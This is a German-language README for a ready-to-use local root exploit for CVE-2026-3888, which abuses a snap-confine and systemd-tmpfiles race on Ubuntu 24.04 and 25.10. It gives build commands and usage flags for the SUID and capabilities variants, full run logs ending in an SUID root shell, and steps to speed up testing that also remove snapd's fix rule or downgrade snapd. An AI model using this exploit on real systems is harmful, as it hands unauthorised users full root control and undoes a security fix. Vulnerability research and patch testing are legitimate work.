
Lokaler Privilege-Escalation-Exploit für CVE-2026-3888, der auf snap-confine und systemd-tmpfiles unter Ubuntu abzielt und SUID- sowie Capabilities-Varianten bereitstellt, um Root-Zugriff zu erlangen.
Lokale Rechteausweitung von einem unprivilegierten Benutzer zu vollständigem Root-Zugriff auf Ubuntu Desktop 24.04+ durch Ausnutzung einer TOCTOU-Race-Condition zwischen snap-confine und systemd-tmpfiles. Es werden zwei Varianten bereitgestellt: SUID und Capabilities.
CVSS: 7.8 (Hoch) | Advisory: Qualys | Patch: snapd 2.74.2, 17. März 2026
systemd-tmpfiles löscht das veraltete .snap-Mimikry-Verzeichnis unter /tmp (30-Tage-Altersgrenze)snap-confine über AF_UNIX-Socket-Backpressure im Einzelschritt aus, um das Rennen während der Mimikry-Bind-Mount-Sequenz zuverlässig zu gewinnenld-linux-x86-64.so.2 wird durch Shellcode ersetzt, der setreuid(0,0) + execve aufruftsnap-confine löst den Shellcode mit Root-Rechten aus/var/snap/firefox/common/ abgelegt, um die Sandbox zu verlassen| Datei | Beschreibung |
|---|---|
exploit_suid.c | Einheitlicher Single-Binary-Exploit — alle 7 Phasen in einem fork-basierten Orchestrator |
librootshell_suid.c | Payload — minimales ELF, das ld-linux-x86-64.so.2 über rohe x86_64-Syscalls ersetzt |
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
Beide müssen auf x86_64-Linux kompiliert (oder cross-kompiliert) werden. exploit ist statisch gelinkt, sodass es ohne Bibliotheksabhängigkeiten innerhalb der Snap-Sandbox läuft. librootshell.so verwendet -nostdlib, da es nur rohe Syscalls enthält — kein libc.
./exploit <librootshell.so> [-d] [-s]
| Flag | Beschreibung |
|---|---|
-d | Snap-confine-Debug-Ausgabe anzeigen (verbose Modus) |
-s | .snap-Bereinigungswartezeit überspringen (erfordert Root-Passwort) |
# Normaler Lauf
./exploit ./librootshell.so
# Debug-Modus
./exploit ./librootshell.so -d
# Wiederholung nach Fehlschlag
./exploit ./librootshell.so -s
Der Exploit betritt die Sandbox, wartet darauf, dass systemd-tmpfiles .snap löscht (bis zu 10 Tage auf Standard-Ubuntu 25.10 und bis zu 30 Tage auf Standard-Ubuntu 24.04), und führt dann das Rennen automatisch aus. Bei Erfolg wird eine Root-Shell geöffnet.
snap-confine muss SUID-root sein (-rwsr-xr-x 1 root root /usr/lib/snapd/snap-confine)systemd-tmpfiles-clean.timer aktivbusybox auf dem Zielsystem verfügbar (/usr/bin/busybox)user@ubuntu:~$ snap --version
snap 2.63.1+24.04
snapd 2.63.1+24.04
series 16
ubuntu 24.04
kernel 6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /home/user/./librootshell.so (9056 Bytes)
[Phase 1] Firefox-Sandbox betreten...
[+] Innere Shell-PID: 3122
[Phase 2] Auf .snap-Löschung warten...
[*] Abfragen (bis zu 30 Tage auf Standard-Ubuntu).
[*] Hinweis: -s zum Überspringen verwenden.
[+] .snap gelöscht.
[Phase 3] Gecachten Mount-Namespace zerstören...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_sygTaK//dev: No such file or directory
[+] Namespace zerstört.
[Phase 4] Rennen einrichten und ausführen...
[*] Arbeitsverzeichnis: /proc/3122/cwd
[*] .snap und .exchange erstellen...
[*] 285 Einträge in das Exchange-Verzeichnis kopiert
[*] Rennen starten...
[*] snap-confine überwachen (Kind-PID 3543)...
[!] AUSLÖSER — Verzeichnisse tauschen...
[+] TAUSCH ABGESCHLOSSEN — Rennen gewonnen!
[*] ld-linux im Namespace: user:user 755
[+] Vergifteter Namespace-PID: 3543
[Phase 5] Payload in vergifteten Namespace injizieren...
[+] ld-linux gehört uid 1000 (Angreifer). Rennen bestätigt.
[*] busybox platzieren...
[*] Escape-Skript schreiben → /tmp/sh
[*] ld-linux-x86-64.so.2 überschreiben...
[+] Payload injiziert.
[Phase 6] Root über SUID snap-confine auslösen...
[*] snap-confine → snap-confine (SUID-Auslöser)
[*] Exit-Status: 0
[Phase 7] Verifizieren...
[+] SUID-Root-Bash: /var/snap/firefox/common/bash (Modus 4755)
[*] Hintergrundprozesse bereinigen...
================================================================
ROOT-SHELL: /var/snap/firefox/common/bash -p
================================================================
bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
systemd-tmpfiles löscht das veraltete .snap-Mimikry-Verzeichnis unter /tmpsnap-confine über AF_UNIX-Socket-Backpressure im Einzelschritt aus, um das Rennen während der /var/lib-Mimikry-Bind-Mount-Sequenz zuverlässig zu gewinnen/var/lib/snapd/mount/snap.snap-store.user-fstabuser-fstab-Einträge bind-mounten ein vergiftetes /etc (mit ld.so.preload) in die Sandboxsu-Binärdatei aus /tmp/.snap lädt librootshell.so vor, das setreuid(0,0) + aufruft| Datei | Beschreibung |
|---|---|
exploit_caps.c | Einheitlicher Single-Binary-Exploit — alle 7 Phasen in einem fork-basierten Orchestrator |
librootshell_caps.c | Payload — Shared Library mit Konstruktor, der setreuid(0,0) + execve aufruft |
gcc -O2 -static -o exploit exploit_caps.c
gcc -shared -fPIC -nostartfiles -o librootshell.so librootshell_caps.c
Beide müssen auf x86_64-Linux kompiliert (oder cross-kompiliert) werden. exploit ist statisch gelinkt, sodass es ohne Bibliotheksabhängigkeiten innerhalb der Snap-Sandbox läuft. librootshell.so verwendet -nostartfiles und ein __attribute__((constructor)) — es wird über ld.so.preload vor der main()-Funktion der Ziel-Binärdatei geladen.
./exploit <librootshell.so> [-d] [-s]
| Flag | Beschreibung |
|---|---|
-d | Snap-confine-Debug-Ausgabe anzeigen (verbose Modus) |
-s | .snap-Bereinigungswartezeit überspringen (verwenden, wenn .snap bereits gelöscht ist) |
# Normaler Lauf
./exploit ./librootshell.so
# Debug-Modus
./exploit ./librootshell.so -d
# Wartezeit überspringen (Wiederholung)
./exploit ./librootshell.so -s
Der Exploit betritt die Sandbox, wartet darauf, dass systemd-tmpfiles .snap löscht (bis zu 10 Tage auf Standard-Ubuntu 25.10 und bis zu 30 Tage auf Standard-Ubuntu 24.04), und führt dann das Rennen automatisch aus. Bei Erfolg wird eine Root-Shell geöffnet.
snap-confine muss Capabilities besitzen (cap_sys_admin, cap_chown, cap_dac_override, usw.)snap-store-Snap installiert (Standard auf Ubuntu Desktop)core22-Basis-Snap installiertsystemd-tmpfiles-clean.timer aktivbusybox auf dem Zielsystem verfügbar (/usr/bin/busybox)user@ubuntu:~$ snap --version
snap 2.71.1+ubuntu25.10.1
snapd 2.71.1+ubuntu25.10.1
series 16
ubuntu 25.10
kernel 6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=25.10
DISTRIB_CODENAME=questing
DISTRIB_DESCRIPTION="Ubuntu 25.10"
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles Capabilities LPE
================================================================
[*] Payload: /home/user/./librootshell.so (14320 Bytes)
[Phase 1] snap-store-Sandbox betreten...
[+] Innere Shell-PID: 3501
[Phase 2] Auf .snap-Löschung warten...
[*] Abfragen (bis zu 10 Tage auf Ubuntu 25.10).
[*] Hinweis: -s zum Überspringen verwenden.
[+] .snap gelöscht.
[Phase 3] Gecachten Mount-Namespace zerstören...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_wQcOnV//dev: No such file or directory
[+] Namespace zerstört (.mnt weg).
[Phase 4] Rennen einrichten und ausführen...
[*] Arbeitsverzeichnis: /proc/3501/cwd
[*] .snap und .exchange erstellen...
[*] 17 Einträge in das Exchange-Verzeichnis kopiert
[*] Rennen starten...
[*] snap-confine überwachen (Kind-PID 3678)...
[!] AUSLÖSER — Verzeichnisse tauschen...
[+] TAUSCH ABGESCHLOSSEN — Rennen gewonnen!
[+] Rennen gewonnen. /var/lib/snapd gehört jetzt dem Benutzer.
[Phase 5] Payload und user-fstab einrichten...
[*] /etc nach .snap/etc kopieren...
[*] ld.so.preload schreiben...
[*] user-fstab schreiben...
[*] librootshell.so nach /tmp/ kopieren...
[*] busybox kopieren...
[*] Escape-Skript schreiben...
[*] var/lib zurücktauschen (ursprüngliche snapd-Metadaten wiederherstellen)...
[+] Payload bereit.
[Phase 6] Root über SUID-Binärdatei in /tmp/.snap auslösen...
[*] Ausführen: snap-confine → /tmp/.snap/var/lib/snapd/hostfs/snap/core22/current/usr/bin/su
[*] Exit-Status: 0
[Phase 7] Verifizieren...
[+] SUID-Root-Bash: /var/snap/snap-store/common/bash (Modus 4755)
[*] Hintergrundprozesse bereinigen...
================================================================
ROOT-SHELL: /var/snap/snap-store/common/bash -p
================================================================
bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
Auf einer Standard-Ubuntu-Installation dauert die .snap-Bereinigung 30 Tage (24.04) oder 10 Tage (25.10). Um dies für Tests zu beschleunigen, reduzieren Sie das /tmp-Alter und das Timer-Intervall:
Bearbeiten Sie /usr/lib/tmpfiles.d/tmp.conf (als Root):
# Alter von 30d auf 4m ändern
sudo sed -i 's|^q /tmp .\+|q /tmp 1777 root root 4m|' /usr/lib/tmpfiles.d/tmp.conf
Überprüfen:
grep '^q /tmp' /usr/lib/tmpfiles.d/tmp.conf
# Sollte anzeigen: q /tmp 1777 root root 4m
sudo mkdir -p /etc/systemd/system/systemd-tmpfiles-clean.timer.d
sudo tee /etc/systemd/system/systemd-tmpfiles-clean.timer.d/override.conf > /dev/null <<'EOF'
[Timer]
OnBootSec=1m
OnUnitActiveSec=1m
EOF
sudo systemctl daemon-reload
sudo systemctl restart systemd-tmpfiles-clean.timer
Überprüfen:
systemctl list-timers systemd-tmpfiles-clean
# Die NEXT-Spalte sollte ~1 Minute ab jetzt anzeigen
snapd 2.73+ fügt eine Ausschlussregel hinzu, die verhindert, dass tmpfiles .snap bereinigt. Wenn Ihr System diese hat, prüfen und entfernen Sie sie:
cat /usr/lib/tmpfiles.d/snapd.conf
# Wenn Sie sehen: x /tmp/snap-private-tmp/*/tmp/.snap
# Entfernen Sie diese Zeile oder führen Sie ein Downgrade auf snapd 2.71.1 durch
Mit diesen Einstellungen wird .snap innerhalb von ~5 Minuten nach dem Veralten bereinigt, was eine schnelle Iteration während des Testens ermöglicht.
Dieser Code wird ausschließlich für Bildungszwecke, autorisierte Sicherheitsforschung und Penetrationstests bereitgestellt, für die eine ausdrückliche schriftliche Genehmigung eingeholt wurde. Der Autor übernimmt keine Haftung für die missbräuchliche Verwendung dieser Software. Durch die Verwendung dieses Codes erklären Sie sich damit einverstanden, dass Sie allein für Ihre Handlungen und alle daraus entstehenden Konsequenzen verantwortlich sind. Verwenden Sie diesen Code nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Testautorisierung haben.
| Ubuntu 24.04 (SUID) | Ubuntu 25.10 (Capabilities) |
|---|
| snap-confine | SUID-root | Capabilities (cap_sys_admin, usw.) |
| Ziel-Snap | firefox | snap-store |
| Mimikry-Ziel | /usr/lib/x86_64-linux-gnu (~285 Einträge) | /var/lib (~17 Einträge) |
| Exploit-Vektor | Überschreiben von ld-linux-x86-64.so.2 mit Shellcode | Kontrolle über user-fstab + ld.so.preload |
| Payload-Format | Statisches ELF mit rohen Syscalls | Shared Library mit __attribute__((constructor)) |
| Root-Auslöser | SUID snap-confine lädt vergifteten dynamischen Linker | SUID su in /tmp/.snap lädt .so vor |
| cgroup-Anforderung | Beliebiger snap.*-Name | Exakte Übereinstimmung: snap.snap-store.hook.configure |
.snap-Bereinigung | 30 Tage | 10 Tage |
| Sandbox-Escape | /var/snap/firefox/common/bash | /var/snap/snap-store/common/bash |
execve("/tmp/sh")/var/snap/snap-store/common/ abgelegt, um die Sandbox zu verlassen